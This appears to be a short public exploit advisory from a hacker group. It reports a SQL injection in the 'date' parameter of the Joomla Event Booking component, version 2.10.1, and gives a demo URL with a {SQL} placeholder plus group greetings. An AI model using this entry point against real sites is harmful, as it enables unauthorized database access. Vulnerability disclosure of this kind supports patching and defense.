23 lines
No EOL
842 B
Text
23 lines
No EOL
842 B
Text
######################
|
|
# Exploit Title : Joomla Event Booking Component - SQL Injection
|
|
# Exploit Author : Persian Hack Team
|
|
# Homepage : http://persian-team.ir
|
|
# Vendor Homepage : http://extensions.joomla.org/extension/event-booking
|
|
# Category [ Webapps ]
|
|
# Tested on [ Win ]
|
|
# Version : 2.10.1
|
|
# Date 2016/09/25
|
|
######################
|
|
#
|
|
# PoC
|
|
# => Sql Injection :
|
|
# Date Parameter Vulnerable To SQL
|
|
# Demo :
|
|
# http://server/index.php?option=com_eventbooking&view=calendar&layout=weekly&date={SQL}&Itemid=354
|
|
#
|
|
# Video : http://persian-team.ir/showthread.php?tid=160&pid=291
|
|
######################
|
|
# Discovered by : Mojtaba MobhaM
|
|
# B3li3v3 M3 I will n3v3r St0p
|
|
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi & Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
|
|
###################### |